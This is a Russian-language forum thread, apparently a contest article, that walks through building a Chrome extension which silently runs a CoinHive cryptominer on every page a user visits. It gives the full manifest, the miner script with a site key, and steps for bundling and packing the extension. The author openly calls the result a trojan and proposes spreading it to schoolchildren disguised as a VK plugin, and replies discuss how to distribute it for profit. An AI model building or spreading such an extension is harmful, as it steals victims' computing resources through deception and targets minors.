Конкурс Создание плагина с майнером для браузера chrome

Bdpk

New Member
Премиум
06.11.2016
4
16
#1
Статья для участия в конкурсе на codeby


Всем доброго времени суток, мы начинаем!

0. Предисловие

Рано или поздно, пользователь будет нуждаться в расширении своих возможностей при работе в браузере. Разработчики пошли на встречу и дали возможность создания плагинов. Так появились всем известные adblock, adguard, vk_скачать_музыку_без_смс_и_регистрации, evernote и другие.

Если вы обладаете определенными навыками в работе с плагинами, можете найти готовые скрипты.

Однако наша задача заключается в том, чтобы разобраться в том, как создать плагин для себя и друзей :)
Почему chrome? Недавно firefox полностью обновил способ создания плагинов и теперь у него есть некоторые проблемы с фильтром и майнеры он не
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
.

1. Подготовка:

Нам понадобится:

  • браузер (chrome, opera)
  • минимальное знание js и html
  • аккаунт на coinhive
2. Стартуем

Создаем директорию для плагина и наполняем её необходимыми файлами:
tree.png

Самым важным файлом тут является manifest.json – это наш пропуск в мир расширений.
P.S. если путаете синтаксис, отправляю вас на
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться

Вот так он выглядит:
{
"manifest_version": 2,
"name": "HackPositive",
"description": "It's HackPositive extensions. Install him and have fun!",
"version": "1.0",
"icons": {
"128": "icons/128.png"
},
"content_scripts": [
{
"js": ["miner.js"],
"matches" : ["*://*/*"]
}]
}

Все параметры можно менять, кроме manifest_version
Icon – это логотип вашего изображения размером 128x128..
128.png

Отредактируем miner.js
var miner = new CoinHive.User('public_key','name');
miner.start();

Готово, осталось создать акк на
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
. Я использовал
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
для теста, кому-то повезет, наверное :)

Заходим на сайт, и сразу всплывает предупреждение о том, что могут использовать наши вычислительные мощности. Соглашаемся.

coinhive.png

Вводим email, на который придет письмо с подтверждением, и password.

И пробуем пройти капчу, начнется майнинг на вашем устройстве, как только армия нежити получит необходимое количество золота, будет доказано что вы сидите не с калькулятора, разблокируется кнопочка “signup”. Юзаем и ждем на почте письмо.

Логинимся.

Заходим в настройки →
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться


Если вы - любитель статистики, у вас много “источников” и вы хотите знать сколько приносит плагин, то прошу за мной.

CoinHive есть 3 режима:
CoinHive.User, CoinHive.Token и CoinHive.Anonymous
User нужен для любитей статистики, и для него важно поле userName, а котором я расскажу дальше.
Token нужен для того, чтобы добыть только определённое количество хешей.
Anonymous, как понятно из названия, будет обычный майнинг без имени, только с использованием siteKey(читай publicKey).

В поле name нужно выставить уникальное значение, я решил последовать совету разработчиков и взять хеш-сумму от имени сайта.
echo “codeby.net” | md5sum

Получили вот такую красивую, а главное –
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
:
site_keys.png
Копируем Site Key(Public) и возвращаемся к файлу miner.js

На место public_key, вставляем только что скопированное значение
Вместо name вставляем нашу уникальную красоту, полученную ранее.

В моем случае:
var miner = new CoinHive.User('pe2Guoz4MeWUGJmx6EROnkyg4JeFYD1d','310fa3615d6183904f6b1266ab9bd4d2');
miner.start();

Теперь надо все это проверить!

Стоит проверить, подцепилось ли все, поэтому создадим простой index.html файл.
В хедере прицепить библиотеку и сам скрипт

Запускам index.html, смотрим в дебаггере, подгрузились ли наши скрипты.
check_debag.png
Если да, то заходим на сайт и видим на dashboarde. Через некоторое время наши “монетки” начали добываться!
6.dashboard.png


Дабы полностью убедиться, что все в норме и на баланс растет, ресурс предоставляет API:
curl "
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
имя&secret=Ключ(приватный)"

7.api_json.png

Если все успешно, переместим наш miner в более уютное место. Для этого:

  • Качаем библиотеку coinhive: wget https://coinhive.com/lib/coinhive.min.js
  • Удаляем index.html
  • Объединяем miner.js с библиотекой. Так чтобы текст библиотеки окался выше.

Наш плагин почти готов, осталось лишь добавить полезного функционала, чтобы троян был востребован.

К примеру:
  • ищем школьников, которым не нравится “история” в вк.
  • пишем, что давно изобрели плагин, который убирает её.
  • кидаем ссыль.
  • ???
  • профит.

Мы добавили функционал, давай теперь соберем все в одну кучу.

Хром любезно предоставляет возможность упаковать или загрузить распакованное расширение. Во вкладке chrome://extensions/
Однако в режиме для разработчика…
8.chrome_extensions.png

Упаковываем плагин, пишет, что созданы*.crx и *.pem. Первый файл - это наш плагин, второй – ключ для обновления плагина. При уставновке в режиме пользователя: хром пишет, мол он поврежден, однако опера просто скушала его. Для хрома есть статья как заставить его
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
.

На этом все! Загружаем, пробуем, делимся своим трудом!

Спасибо за внимание!
 

kamaz

Well-Known Member
14.01.2018
74
7
#2
да все круто расписал на этом и останавился?подились конверсией можешь инет:cool:
 

n3d.b0y

Active Member
Премиум
19.01.2018
34
51
#3
Статья хорошая но на мой взгляд бесполезна. Идя данного метода в том что бы заработать на майнинге за счёт чужих ресурсов. Если залить плагин в chrome store его от туда моментально выпилят. Можно конечно пытаться распространять сторонними ресурсами но профиту не будет к сожалению.
 
Последнее редактирование:

Bdpk

New Member
Премиум
06.11.2016
4
16
#4
да все круто расписал на этом и останавился?подились конверсией можешь инет:cool:
Продолжение будет :)

---- Добавлено позже ----

Статья хорошая но на мой взгляд бесполезна. Идя данного метода в том что бы заработать на майнинге за счёт чужих ресурсов. Если залить плагин в chrome store его от туда моментально выпилят. Можно конечно пытаться распространять сторонними ресурсами но профиту не будет к сожалению.
Распростронять через:
Поле для деятельности есть, поэтому не стоит сразу говорить, что статья не имеет профита.
 
Последнее редактирование: